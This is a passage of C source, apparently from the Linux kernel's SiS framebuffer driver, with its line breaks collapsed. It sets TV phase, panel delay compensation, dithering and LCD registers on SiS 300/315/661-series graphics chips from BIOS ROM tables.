*ROMAddr = SiS_Pr->VirtualRomBase; unsigned short index,temp,i,j,resinfo,romptr=0; unsigned int lindex; if(!(SiS_Pr->SiS_VBInfo & SetCRT2ToTV)) return; /* NTSC-J data not in BIOS, and already set in SetGroup2 */ if(SiS_Pr->SiS_TVMode & TVSetNTSCJ) return; if((SiS_Pr->ChipType >= SIS_661) || SiS_Pr->SiS_ROMNew) { lindex = GetOEMTVPtr661_2_OLD(SiS_Pr) & 0xffff; lindex <<= 2; for(j=0, i=0x31; i<=0x34; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,SiS_TVPhase[lindex + j]); } return; } /* PAL-M, PAL-N not in BIOS, and already set in SetGroup2 */ if(SiS_Pr->SiS_TVMode & (TVSetPALM | TVSetPALN)) return; if(ModeNo<=0x13) { resinfo = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ResInfo; } else { resinfo = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_RESINFO; } temp = GetTVPtrIndex(SiS_Pr); /* 0: NTSC Graphics, 1: NTSC Text, 2: PAL Graphics, * 3: PAL Text, 4: HiTV Graphics 5: HiTV Text */ if(SiS_Pr->SiS_UseROM) { romptr = SISGETROMW(0x116); if(SiS_Pr->ChipType >= SIS_330) { romptr = SISGETROMW(0x196); } if(SiS_Pr->SiS_VBType & VB_SIS30xBLV) { romptr = SISGETROMW(0x11c); if(SiS_Pr->ChipType >= SIS_330) { romptr = SISGETROMW(0x19c); } if((SiS_Pr->SiS_VBInfo & SetInSlaveMode) && (!(SiS_Pr->SiS_TVMode & TVSetTVSimuMode))) { romptr = SISGETROMW(0x116); if(SiS_Pr->ChipType >= SIS_330) { romptr = SISGETROMW(0x196); } } } } if(romptr) { romptr += (temp << 2); for(j=0, i=0x31; i<=0x34; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part2Port,i,ROMAddr[romptr + j]); } } else { index = temp % 2; temp >>= 1; /* 0:NTSC, 1:PAL, 2:HiTV */ for(j=0, i=0x31; i<=0x34; i++, j++) { if(!(SiS_Pr->SiS_VBType & VB_SIS30xBLV)) SiS_SetReg(SiS_Pr->SiS_Part2Port,i,SiS310_TVPhaseIncr1[temp][index][j]); else if((!(SiS_Pr->SiS_VBInfo & SetInSlaveMode)) || (SiS_Pr->SiS_TVMode & TVSetTVSimuMode)) SiS_SetReg(SiS_Pr->SiS_Part2Port,i,SiS310_TVPhaseIncr2[temp][index][j]); else SiS_SetReg(SiS_Pr->SiS_Part2Port,i,SiS310_TVPhaseIncr1[temp][index][j]); } } if((SiS_Pr->SiS_VBType & VB_SIS30xBLV) && (!(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision))) { if((!(SiS_Pr->SiS_TVMode & (TVSetPAL | TVSetYPbPr525p | TVSetYPbPr750p))) && (ModeNo > 0x13)) { if((resinfo == SIS_RI_640x480) || (resinfo == SIS_RI_800x600)) { SiS_SetReg(SiS_Pr->SiS_Part2Port,0x31,0x21); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x32,0xf0); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x33,0xf5); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x34,0x7f); } else if(resinfo == SIS_RI_1024x768) { SiS_SetReg(SiS_Pr->SiS_Part2Port,0x31,0x1e); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x32,0x8b); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x33,0xfb); SiS_SetReg(SiS_Pr->SiS_Part2Port,0x34,0x7b); } } } } static void SetDelayComp661(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RTI) { unsigned short delay = 0, romptr = 0, index, lcdpdcindex; unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; if(!(SiS_Pr->SiS_VBInfo & (SetCRT2ToTV | SetCRT2ToLCD | SetCRT2ToLCDA | SetCRT2ToRAMDAC))) return; /* 1. New ROM: VGA2 and LCD/LCDA-Pass1:1 */ /* (If a custom mode is used, Pass1:1 is always set; hence we do this:) */ if(SiS_Pr->SiS_ROMNew) { if((SiS_Pr->SiS_VBInfo & SetCRT2ToRAMDAC) || ((SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) && (SiS_Pr->SiS_LCDInfo & LCDPass11))) { index = 25; if(SiS_Pr->UseCustomMode) { index = SiS_Pr->CSRClock; } else if(ModeNo > 0x13) { index = SiS_GetVCLK2Ptr(SiS_Pr,ModeNo,ModeIdIndex,RTI); index = SiS_Pr->SiS_VCLKData[index].CLOCK; } if(index < 25) index = 25; index = ((index / 25) - 1) << 1; if((ROMAddr[0x5b] & 0x80) || (SiS_Pr->SiS_VBInfo & (SetCRT2ToRAMDAC | SetCRT2ToLCD))) { index++; } romptr = SISGETROMW(0x104); delay = ROMAddr[romptr + index]; if(SiS_Pr->SiS_VBInfo & (SetCRT2ToRAMDAC | SetCRT2ToLCD)) { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2d,0xf0,((delay >> 1) & 0x0f)); SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x35,0x7f,((delay & 0x01) << 7)); } else { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2d,0x0f,((delay << 3) & 0xf0)); SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x20,0xbf,((delay & 0x01) << 6)); } return; } } /* 2. Old ROM: VGA2 and LCD/LCDA-Pass 1:1 */ if(SiS_Pr->UseCustomMode) delay = 0x04; else if(ModeNo <= 0x13) delay = 0x04; else delay = (SiS_Pr->SiS_RefIndex[RTI].Ext_PDC >> 4); delay |= (delay << 8); if(SiS_Pr->ChipType >= XGI_20) { delay = 0x0606; if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { delay = 0x0404; if(SiS_Pr->SiS_XGIROM) { index = GetTVPtrIndex(SiS_Pr); if((romptr = SISGETROMW(0x35e))) { delay = (ROMAddr[romptr + index] & 0x0f) << 1; delay |= (delay << 8); } } if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { if(SiS_Pr->ChipType == XGI_40 && SiS_Pr->ChipRevision == 0x02) { delay -= 0x0404; } } } } else if(SiS_Pr->ChipType >= SIS_340) { delay = 0x0606; if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { delay = 0x0404; } /* TODO (eventually) */ } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { /* 3. TV */ index = GetOEMTVPtr661(SiS_Pr); if(SiS_Pr->SiS_ROMNew) { romptr = SISGETROMW(0x106); if(SiS_Pr->SiS_VBType & VB_UMC) romptr += 12; delay = ROMAddr[romptr + index]; } else { delay = 0x04; if(index > 3) delay = 0; } } else if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { /* 4. LCD, LCDA (for new ROM only LV and non-Pass 1:1) */ if( (SiS_Pr->SiS_LCDResInfo != Panel_Custom) && ((romptr = GetLCDStructPtr661_2(SiS_Pr))) ) { lcdpdcindex = (SiS_Pr->SiS_VBType & VB_UMC) ? 14 : 12; /* For LVDS (and sometimes TMDS), the BIOS must know about the correct value */ delay = ROMAddr[romptr + lcdpdcindex + 1]; /* LCD */ delay |= (ROMAddr[romptr + lcdpdcindex] << 8); /* LCDA */ } else { /* TMDS: Set our own, since BIOS has no idea */ /* (This is done on >=661 only, since <661 is calling this only for LVDS) */ if(!(SiS_Pr->SiS_LCDInfo & LCDPass11)) { switch(SiS_Pr->SiS_LCDResInfo) { case Panel_1024x768: delay = 0x0008; break; case Panel_1280x720: delay = 0x0004; break; case Panel_1280x768: case Panel_1280x768_2:delay = 0x0004; break; case Panel_1280x800: case Panel_1280x800_2:delay = 0x0004; break; /* Verified for 1280x800 */ case Panel_1280x854: delay = 0x0004; break; /* FIXME */ case Panel_1280x1024: delay = 0x1e04; break; case Panel_1400x1050: delay = 0x0004; break; case Panel_1600x1200: delay = 0x0400; break; case Panel_1680x1050: delay = 0x0e04; break; default: if((SiS_Pr->PanelXRes <= 1024) && (SiS_Pr->PanelYRes <= 768)) { delay = 0x0008; } else if((SiS_Pr->PanelXRes == 1280) && (SiS_Pr->PanelYRes == 1024)) { delay = 0x1e04; } else if((SiS_Pr->PanelXRes <= 1400) && (SiS_Pr->PanelYRes <= 1050)) { delay = 0x0004; } else if((SiS_Pr->PanelXRes <= 1600) && (SiS_Pr->PanelYRes <= 1200)) { delay = 0x0400; } else delay = 0x0e04; break; } } /* Override by detected or user-set values */ /* (but only if, for some reason, we can't read value from BIOS) */ if((SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) && (SiS_Pr->PDC != -1)) { delay = SiS_Pr->PDC & 0x1f; } if((SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) && (SiS_Pr->PDCA != -1)) { delay = (SiS_Pr->PDCA & 0x1f) << 8; } } } if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { delay >>= 8; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2d,0x0f,((delay << 3) & 0xf0)); SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x20,0xbf,((delay & 0x01) << 6)); } else { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x2d,0xf0,((delay >> 1) & 0x0f)); SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x35,0x7f,((delay & 0x01) << 7)); } } static void SetCRT2SyncDither661(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short RTI) { unsigned short infoflag; unsigned char temp; if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(ModeNo <= 0x13) { infoflag = SiS_GetRegByte(SiS_Pr->SiS_P3ca+2); } else if(SiS_Pr->UseCustomMode) { infoflag = SiS_Pr->CInfoFlag; } else { infoflag = SiS_Pr->SiS_RefIndex[RTI].Ext_InfoFlag; } if(!(SiS_Pr->SiS_LCDInfo & LCDPass11)) { infoflag = SiS_GetReg(SiS_Pr->SiS_P3d4,0x37); /* No longer check D5 */ } infoflag &= 0xc0; if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { temp = (infoflag >> 6) | 0x0c; if(SiS_Pr->SiS_LCDInfo & LCDRGB18Bit) { temp ^= 0x04; if(SiS_Pr->SiS_ModeType >= Mode24Bpp) temp |= 0x10; } SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x1a,0xe0,temp); } else { temp = 0x30; if(SiS_Pr->SiS_LCDInfo & LCDRGB18Bit) temp = 0x20; temp |= infoflag; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x19,0x0f,temp); temp = 0; if(SiS_Pr->SiS_LCDInfo & LCDRGB18Bit) { if(SiS_Pr->SiS_ModeType >= Mode24Bpp) temp |= 0x80; } SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x1a,0x7f,temp); } } } static void SetPanelParms661(struct SiS_Private *SiS_Pr) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short romptr, temp1, temp2; if(SiS_Pr->SiS_VBType & (VB_SISLVDS | VB_SIS30xC)) { SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x24,0x0f); } if(SiS_Pr->SiS_VBType & VB_SISLVDS) { if(SiS_Pr->LVDSHL != -1) { SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x24,0xfc,SiS_Pr->LVDSHL); } } if(SiS_Pr->SiS_ROMNew) { if((romptr = GetLCDStructPtr661_2(SiS_Pr))) { if(SiS_Pr->SiS_VBType & VB_SISLVDS) { temp1 = (ROMAddr[romptr] & 0x03) | 0x0c; temp2 = 0xfc; if(SiS_Pr->LVDSHL != -1) { temp1 &= 0xfc; temp2 = 0xf3; } SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x24,temp2,temp1); } if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { temp1 = (ROMAddr[romptr + 1] & 0x80) >> 1; SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x0d,0xbf,temp1); } } } } static void SiS_OEM310Setting(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RRTI) { if((SiS_Pr->SiS_ROMNew) && (SiS_Pr->SiS_VBType & VB_SISLVDS)) { SetDelayComp661(SiS_Pr, ModeNo, ModeIdIndex, RRTI); if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { SetCRT2SyncDither661(SiS_Pr, ModeNo, RRTI); SetPanelParms661(SiS_Pr); } } else { SetDelayComp(SiS_Pr,ModeNo); } if((SiS_Pr->SiS_VBType & VB_SISVB) && (SiS_Pr->SiS_VBInfo & SetCRT2ToTV)) { SetAntiFlicker(SiS_Pr,ModeNo,ModeIdIndex); SetPhaseIncr(SiS_Pr,ModeNo,ModeIdIndex); SetYFilter(SiS_Pr,ModeNo,ModeIdIndex); if(SiS_Pr->SiS_VBType & VB_SIS301) { SetEdgeEnhance(SiS_Pr,ModeNo,ModeIdIndex); } } } static void SiS_OEM661Setting(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RRTI) { if(SiS_Pr->SiS_VBType & VB_SISVB) { SetDelayComp661(SiS_Pr, ModeNo, ModeIdIndex, RRTI); if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { SetCRT2SyncDither661(SiS_Pr, ModeNo, RRTI); SetPanelParms661(SiS_Pr); } if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { SetPhaseIncr(SiS_Pr, ModeNo, ModeIdIndex); SetYFilter(SiS_Pr, ModeNo, ModeIdIndex); SetAntiFlicker(SiS_Pr, ModeNo, ModeIdIndex); if(SiS_Pr->SiS_VBType & VB_SIS301) { SetEdgeEnhance(SiS_Pr, ModeNo, ModeIdIndex); } } } } /* FinalizeLCD * This finalizes some CRT2 registers for the very panel used. * If we have a backup if these registers, we use it; otherwise * we set the register according to most BIOSes. However, this * function looks quite different in every BIOS, so you better * pray that we have a backup... */ static void SiS_FinalizeLCD(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { unsigned short tempcl,tempch,tempbl,tempbh,tempbx,tempax,temp; unsigned short resinfo,modeflag; if(!(SiS_Pr->SiS_VBType & VB_SISLVDS)) return; if(SiS_Pr->SiS_ROMNew) return; if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(SiS_Pr->LVDSHL != -1) { SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x24,0xfc,SiS_Pr->LVDSHL); } } if(SiS_Pr->SiS_LCDResInfo == Panel_Custom) return; if(SiS_Pr->UseCustomMode) return; switch(SiS_Pr->SiS_CustomT) { case CUT_COMPAQ1280: case CUT_COMPAQ12802: case CUT_CLEVO1400: case CUT_CLEVO14002: return; } if(ModeNo <= 0x13) { resinfo = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ResInfo; modeflag = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ModeFlag; } else { resinfo = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_RESINFO; modeflag = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_ModeFlag; } if(IS_SIS650) { if(!(SiS_GetReg(SiS_Pr->SiS_P3d4, 0x5f) & 0xf0)) { if(SiS_Pr->SiS_CustomT == CUT_CLEVO1024) { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x1e,0x02); } else { SiS_SetRegOR(SiS_Pr->SiS_Part1Port,0x1e,0x03); } } } if(SiS_Pr->SiS_CustomT == CUT_CLEVO1024) { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { /* Maybe all panels? */ if(SiS_Pr->LVDSHL == -1) { SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x24,0xfc,0x01); } return; } } if(SiS_Pr->SiS_CustomT == CUT_CLEVO10242) { if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { if(SiS_Pr->LVDSHL == -1) { /* Maybe all panels? */ SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x24,0xfc,0x01); } if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { tempch = SiS_GetReg(SiS_Pr->SiS_P3d4,0x36) >> 4; if(tempch == 3) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x18,0x02); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1b,0x25); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1c,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1d,0x1b); } } return; } } } if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA)) { if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { if(SiS_Pr->SiS_VBType & VB_SISEMI) { SiS_SetReg(SiS_Pr->SiS_Part4Port,0x2a,0x00); #ifdef SET_EMI SiS_SetRegAND(SiS_Pr->SiS_Part4Port,0x30,0x0c); #endif SiS_SetReg(SiS_Pr->SiS_Part4Port,0x34,0x10); } } else if(SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) { if(SiS_Pr->LVDSHL == -1) { /* Maybe ACER only? */ SiS_SetRegANDOR(SiS_Pr->SiS_Part4Port,0x24,0xfc,0x01); } } tempch = SiS_GetReg(SiS_Pr->SiS_P3d4,0x36) >> 4; if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { if(SiS_Pr->SiS_LCDResInfo == Panel_1400x1050) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1f,0x76); } else if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { if(tempch == 0x03) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x18,0x02); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1b,0x25); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1c,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1d,0x1b); } if(SiS_Pr->Backup && (SiS_Pr->Backup_Mode == ModeNo)) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x14,SiS_Pr->Backup_14); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x15,SiS_Pr->Backup_15); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x16,SiS_Pr->Backup_16); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x17,SiS_Pr->Backup_17); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x18,SiS_Pr->Backup_18); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x19,SiS_Pr->Backup_19); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1a,SiS_Pr->Backup_1a); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1b,SiS_Pr->Backup_1b); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1c,SiS_Pr->Backup_1c); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1d,SiS_Pr->Backup_1d); } else if(!(SiS_Pr->SiS_LCDInfo & DontExpandLCD)) { /* 1.10.8w */ SiS_SetReg(SiS_Pr->SiS_Part1Port,0x14,0x90); if(ModeNo <= 0x13) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x18,0x11); if((resinfo == 0) || (resinfo == 2)) return; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x18,0x18); if((resinfo == 1) || (resinfo == 3)) return; } SiS_SetReg(SiS_Pr->SiS_Part1Port,0x18,0x02); if((ModeNo > 0x13) && (resinfo == SIS_RI_1024x768)) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x18,0x02); /* 1.10.7u */ #if 0 tempbx = 806; /* 0x326 */ /* other older BIOSes */ tempbx--; temp = tempbx & 0xff; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1b,temp); temp = (tempbx >> 8) & 0x03; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x1d,0xf8,temp); #endif } } else if(ModeNo <= 0x13) { if(ModeNo <= 1) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x18,0x70); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x19,0xff); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1b,0x48); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1d,0x12); } if(!(modeflag & HalfDCLK)) { SiS_SetReg(SiS_Pr->SiS_Part1Port,0x14,0x20); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x15,0x1a); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x16,0x28); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x17,0x00); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x18,0x4c); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x19,0xdc); if(ModeNo == 0x12) { switch(tempch) { case 0: SiS_SetReg(SiS_Pr->SiS_Part1Port,0x18,0x95); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x19,0xdc); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1a,0x10); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1b,0x95); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1c,0x48); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1d,0x12); break; case 2: SiS_SetReg(SiS_Pr->SiS_Part1Port,0x18,0x95); SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1b,0x48); break; case 3: SiS_SetReg(SiS_Pr->SiS_Part1Port,0x1b,0x95); break; } } } } } } else { tempcl = tempbh = SiS_GetReg(SiS_Pr->SiS_Part2Port,0x01); tempcl &= 0x0f; tempbh &= 0x70; tempbh >>= 4; tempbl = SiS_GetReg(SiS_Pr->SiS_Part2Port,0x04); tempbx = (tempbh << 8) | tempbl; if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { if((resinfo == SIS_RI_1024x768) || (!(SiS_Pr->SiS_LCDInfo & DontExpandLCD))) { if(SiS_Pr->SiS_SetFlag & LCDVESATiming) { tempbx = 770; } else { if(tempbx > 770) tempbx = 770; if(SiS_Pr->SiS_VGAVDE < 600) { tempax = 768 - SiS_Pr->SiS_VGAVDE; tempax >>= 4; /* 1.10.7w; 1.10.6s: 3; */ if(SiS_Pr->SiS_VGAVDE <= 480) tempax >>= 4; /* 1.10.7w; 1.10.6s: < 480; >>=1; */ tempbx -= tempax; } } } else return; } temp = tempbx & 0xff; SiS_SetReg(SiS_Pr->SiS_Part2Port,0x04,temp); temp = ((tempbx & 0xff00) >> 4) | tempcl; SiS_SetRegANDOR(SiS_Pr->SiS_Part2Port,0x01,0x80,temp); } } } #endif /* ================= SiS 300 O.E.M. ================== */ #ifdef CONFIG_FB_SIS_300 static void SetOEMLCDData2(struct SiS_Private *SiS_Pr, unsigned short ModeNo,unsigned short ModeIdIndex, unsigned short RefTabIndex) { unsigned short crt2crtc=0, modeflag, myindex=0; unsigned char temp; int i; if(ModeNo <= 0x13) { modeflag = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ModeFlag; crt2crtc = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_CRT2CRTC; } else { modeflag = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_ModeFlag; crt2crtc = SiS_Pr->SiS_RefIndex[RefTabIndex].Ext_CRT2CRTC; } crt2crtc &= 0x3f; if(SiS_Pr->SiS_CustomT == CUT_BARCO1024) { SiS_SetRegAND(SiS_Pr->SiS_Part1Port,0x13,0xdf); } if(SiS_Pr->SiS_CustomT == CUT_BARCO1366) { if(modeflag & HalfDCLK) myindex = 1; if(SiS_Pr->SiS_SetFlag & LowModeTests) { for(i=0; i<7; i++) { if(barco_p1[myindex][crt2crtc][i][0]) { SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port, barco_p1[myindex][crt2crtc][i][0], barco_p1[myindex][crt2crtc][i][2], barco_p1[myindex][crt2crtc][i][1]); } } } temp = SiS_GetReg(SiS_Pr->SiS_Part1Port,0x00); if(temp & 0x80) { temp = SiS_GetReg(SiS_Pr->SiS_Part1Port,0x18); temp++; SiS_SetReg(SiS_Pr->SiS_Part1Port,0x18,temp); } } } static unsigned short GetOEMLCDPtr(struct SiS_Private *SiS_Pr, int Flag) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short tempbx=0,romptr=0; static const unsigned char customtable300[] = { 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff }; static const unsigned char customtable630[] = { 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff }; if(SiS_Pr->ChipType == SIS_300) { tempbx = SiS_GetReg(SiS_Pr->SiS_P3d4,0x36) & 0x0f; if(SiS_Pr->SiS_VBType & VB_SIS301) tempbx &= 0x07; tempbx -= 2; if(!(SiS_Pr->SiS_SetFlag & LCDVESATiming)) tempbx += 4; if(SiS_Pr->SiS_LCDResInfo == Panel_1024x768) { if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) tempbx += 3; } if(SiS_Pr->SiS_UseROM) { if(ROMAddr[0x235] & 0x80) { tempbx = SiS_Pr->SiS_LCDTypeInfo; if(Flag) { romptr = SISGETROMW(0x255); if(romptr) tempbx = ROMAddr[romptr + SiS_Pr->SiS_LCDTypeInfo]; else tempbx = customtable300[SiS_Pr->SiS_LCDTypeInfo]; if(tempbx == 0xFF) return 0xFFFF; } tempbx <<= 1; if(!(SiS_Pr->SiS_SetFlag & LCDVESATiming)) tempbx++; } } } else { if(Flag) { if(SiS_Pr->SiS_UseROM) { romptr = SISGETROMW(0x255); if(romptr) tempbx = ROMAddr[romptr + SiS_Pr->SiS_LCDTypeInfo]; else tempbx = 0xff; } else { tempbx = customtable630[SiS_Pr->SiS_LCDTypeInfo]; } if(tempbx == 0xFF) return 0xFFFF; tempbx <<= 2; if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) tempbx += 2; if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) tempbx++; return tempbx; } tempbx = SiS_Pr->SiS_LCDTypeInfo << 2; if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) tempbx += 2; if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) tempbx++; } return tempbx; } static void SetOEMLCDDelay(struct SiS_Private *SiS_Pr, unsigned short ModeNo,unsigned short ModeIdIndex) { unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short index,temp,romptr=0; if(SiS_Pr->SiS_LCDResInfo == Panel_Custom) return; if(SiS_Pr->SiS_UseROM) { if(!(ROMAddr[0x237] & 0x01)) return; if(!(ROMAddr[0x237] & 0x02)) return; romptr = SISGETROMW(0x24b); } /* The Panel Compensation Delay should be set according to tables * here. Unfortunately, various BIOS versions don't care about * a uniform way using eg. ROM byte 0x220, but use different * hard coded delays (0x04, 0x20, 0x18) in SetGroup1(). * Thus we don't set this if the user selected a custom pdc or if * we otherwise detected a valid pdc. */ if(SiS_Pr->PDC != -1) return; temp = GetOEMLCDPtr(SiS_Pr, 0); if(SiS_Pr->UseCustomMode) index = 0; else index = SiS_Pr->SiS_VBModeIDTable[ModeIdIndex].VB_LCDDelayIndex; if(SiS_Pr->ChipType != SIS_300) { if(romptr) { romptr += (temp * 2); romptr = SISGETROMW(romptr); romptr += index; temp = ROMAddr[romptr]; } else { if(SiS_Pr->SiS_VBType & VB_SISVB) { temp = SiS300_OEMLCDDelay2[temp][index]; } else { temp = SiS300_OEMLCDDelay3[temp][index]; } } } else { if(SiS_Pr->SiS_UseROM && (ROMAddr[0x235] & 0x80)) { if(romptr) { romptr += (temp * 2); romptr = SISGETROMW(romptr); romptr += index; temp = ROMAddr[romptr]; } else { temp = SiS300_OEMLCDDelay5[temp][index]; } } else { if(SiS_Pr->SiS_UseROM) { romptr = ROMAddr[0x249] | (ROMAddr[0x24a] << 8); if(romptr) { romptr += (temp * 2); romptr = SISGETROMW(romptr); romptr += index; temp = ROMAddr[romptr]; } else { temp = SiS300_OEMLCDDelay4[temp][index]; } } else { temp = SiS300_OEMLCDDelay4[temp][index]; } } } temp &= 0x3c; SiS_SetRegANDOR(SiS_Pr->SiS_Part1Port,0x13,~0x3C,temp); /* index 0A D[6:4] */ } static void SetOEMLCDData(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { #if 0 /* Unfinished; Data table missing */ unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; unsigned short index,temp; if((SiS_Pr->SiS_UseROM) { if(!(ROMAddr[0x237] & 0x01)) return; if(!(ROMAddr[0x237] & 0x04)) return; /* No rom pointer in BIOS header! */ } temp = GetOEMLCDPtr(SiS_Pr, 1); if(temp == 0xFFFF) return; index = SiS_Pr->SiS_VBModeIDTable[ModeIdIndex]._VB_LCDHIndex; for(i=0x14, j=0; i<=0x17; i++, j++) { SiS_SetReg(SiS_Pr->SiS_Part1Port,i,SiS300_LCDHData[temp][index][j]); } SiS_SetRegANDOR(SiS_SiS_Part1Port,0x1a, 0xf8, (SiS300_LCDHData[temp][index][j] & 0x07)); index = SiS_Pr->SiS_VBModeIDTable[ModeIdIndex]._VB_LCDVIndex; SiS_SetReg(SiS_SiS_Part1Port,0x18, SiS300_LCDVData[temp][index][0]); SiS_SetRegANDOR(SiS_SiS_Part1Port,0x19, 0xF0, SiS300_LCDVData[temp][index][1]); SiS_SetRegANDOR(SiS_SiS_Part1Port,0x1A, 0xC7, (SiS300_LCDVData[temp][index][2] & 0x38)); for(i=0x1b, j=3; i<=0x1d; i++, j++) { 